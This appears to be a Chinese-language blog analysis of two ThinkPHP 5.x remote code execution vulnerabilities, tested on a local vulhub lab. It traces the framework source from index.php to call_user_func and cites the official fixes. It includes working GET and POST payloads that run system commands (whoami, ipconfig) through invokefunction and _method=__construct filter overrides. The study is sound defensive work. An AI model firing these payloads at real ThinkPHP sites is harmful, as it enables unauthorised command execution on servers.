0x00前言
最近学习PHP源码,主要研究的是ThinkPHP,因此将这些集中来学习一下
0x01 ThinkPHP 5.x RCE漏洞
从vulhub上下载5.0.x版本的ThinkPHP,然后在http://127.0.0.1/public/index.php
上可以看到主页面。
首先主要的RCE的payload如下
http://127.0.0.1/thinkphp/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
从主页public/index.php
上面观察,其调用了start.php文件,跟进一下start.php的文件继续跟进App:run()
的方法,其主要函数在run这个方法中,可以看到有如下的方法,在其内部有exec的函数,其传入的参数名称是$dispatch
进入exec方法之后,其会对$dipatch类别进行划分,我们主要使用他的回调方法
在跟进Request::instance()->param()
方法之后可以看到调用了method方法,此时当$this->param
不为空的时候触发调用method
最后直接调用了$this->input方法
在input方法则通过了$this->filterValue
的方法,进去之后直接发现了call_user_func()这个函数
根据官网的定义来看其函数功能是调用回调函数,并把一个数组参数作为回调函数的参数,基本的使用方法为
call_user_func_array ( callable $callback , array $param_arr )
在这个地方则造成了命令执行,调用的函数过程为
- index.php {main}()
- start.php require()
- App.php: think\App:run()
- App.php: think\App:exec()
- Request.php: think\Request->param()
- Request.php: think\Request->method()
- Request.php: think\Request->input()
- Request.php: think\Request->filterValue()
其修复方法是对控控制器进行正则匹配
https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
0x02 ThinkPHP 5.0.x POST命令执行
这个两个版本的都有,又在debug模式下开启的命令执行,也有关闭的。将ThinkPHP的debug模式开启,具体在application/config.php
里面将app_debug设置为ture即可
payload为
url:http://127.0.0.1/thinkphp/public/index.php?s=index/index
POST:
s=ipconfig&_method=__construct&method=&filter[]=system
或者
url:http://127.0.0.1/thinkphp/public/index.php?s=xxx 需要存在xxx的method路由,例如captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=ipconfig
现仓在debug开启的时候分析。首先从thinkphp/library/Request.php
这个文件看起,可以看到在Request类中的method方法里面有着主要几行代码,一个是POST传参任意调用Request内部方法,另外一个是__construct方法中对类属性的覆盖
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
//任意调用Request类部分方法
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
//类属性覆盖
}
}
...
// 保存 php://input
$this->input = file_get_contents('php://input');
}
同时Request
类有几个属性
protected $get protected static $instance;
protected $post protected $method;
protected $request protected $domain;
protected $route protected $url;
protected $put; protected $baseUrl;
protected $session protected $baseFile;
protected $file protected $root;
protected $cookie protected $pathinfo;
protected $server protected $path;
protected $header protected $routeInfo
protected $mimeType protected $env;
protected $content; protected $dispatch
protected $filter; protected $module;
protected static $hook protected $controller;
protected $bind protected $action;
protected $input; protected $langset;
protected $cache; protected $param
protected $isCheckCache;
我们在thinkphp/library/think/App.php
文件中发现当debug模式在开启的时候会记录路由和请求信息,调用param的方法,同时Request类中有许多方法都调用了filterValue
方法,并且filterValue方法中又有call_user_func
这个危险的函数,这个在第一部分就已经介绍的,因此不再赘述
在param()里面又有$this->method
方法,跟进method里面又挖掘到了$this->server()
,而该函数又可以通过覆盖前面的类属性覆盖控制,server
函数里面又包含input
方法,而input
方法里面直接调用filterValue
,从而指定了call_user_func
函数进而造成命令执行
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->param)) {
$method = $this->method(true);
// 自动获取请求变量
......
return $this->input($this->param, $name, $default, $filter);
}
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
........
return $this->method;
}
public function server($name = '', $default = null, $filter = '')
{
......
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
public function input($data = [], $name = '', $default = null, $filter = '')
{
......
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
......
return $data;
}
当debug关闭的时候
在之前GET方式进行命令执行的时候分析了exec方法,具体代码为
$data = self::exec($dispatch, $config);
在对$dispatch
进行switch
函数后的controller
和method
方法,依旧是调用了$this->server
方法中区执行call_user_func
函数
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
.........
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
.........
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
.........
return $data;
}
要使$dispatch['type']
的方法为controller
或者method
,发现其来源于parseRule
中的$result
,而$result
变量取决于$route
里面程序中定义路由的方法
public static function dispatch($dispatch, $type = 'module')
{
self::$dispatch = ['type' => $type, $type => $dispatch];
}
private static function checkRoute($request, $rules, $url, $depr = '/', $group = '', $options = [])
{
foreach ($rules as $key => $item) {
.........
$route = $item['route'];
.........
return false;
}
private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [])
{
...........
} elseif (false !== strpos($route, '\\')) {
// 路由到方法
list($path, $var) = self::parseUrlPath($route);
$route = str_replace('/', '@', implode('/', $path));
$method = strpos($route, '@') ? explode('@', $route) : $route;
$result = ['type' => 'method', 'method' => $method, 'var' => $var];
} elseif (0 === strpos($route, '@')) {
// 路由到控制器
$route = substr($route, 1);
list($route, $var) = self::parseUrlPath($route);
$result = ['type' => 'controller', 'controller' => implode('/', $route), 'var' => $var];
........
return $result;
}
ThinkPHP的五种路由地址的定义方式:
定义方式 | 定义格式 |
---|---|
1:路由到模块/控制器 | '[模块/控制器/操作]?额外参数1=值1&额外参数2=值2...' |
2:路由到重定向地址 | '外部地址'(默认301重定向) 或者 ['外部地址','重定向代码'] |
3:路由到控制器的方法 | '@[模块/控制器/]操作' |
4:路由到类的方法 | '\完整的命名空间类::静态方法' 或者 '\完整的命名空间类@动态方法' |
5:路由到闭包函数 | 闭包函数定义(支持参数传入) |
而在 ThinkPHP5 完整版中,定义了验证码类的路由地址。程序在初始化时,会通过自动类加载机制,将 vendor
目录下的文件加载,这样在 GET
方式中便多了这一条路由。我们便可以利用这一路由地址,使得 $dispatch['type']
为 method
,从而调用call_user_func
函数
payload如下
url:http://127.0.0.1/thinkphp/public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=ipconfig
最后官方的修复方法是对$method方法进行检验
Reference
- https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part2/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C9.md
- https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part2/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8BSQL%E6%B3%A8%E5%85%A55.md
- https://www.php.net/manual/zh/function.call-user-func-array.php
- https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part2/ThinkPHP5/ThinkPHP5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B9%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C10.md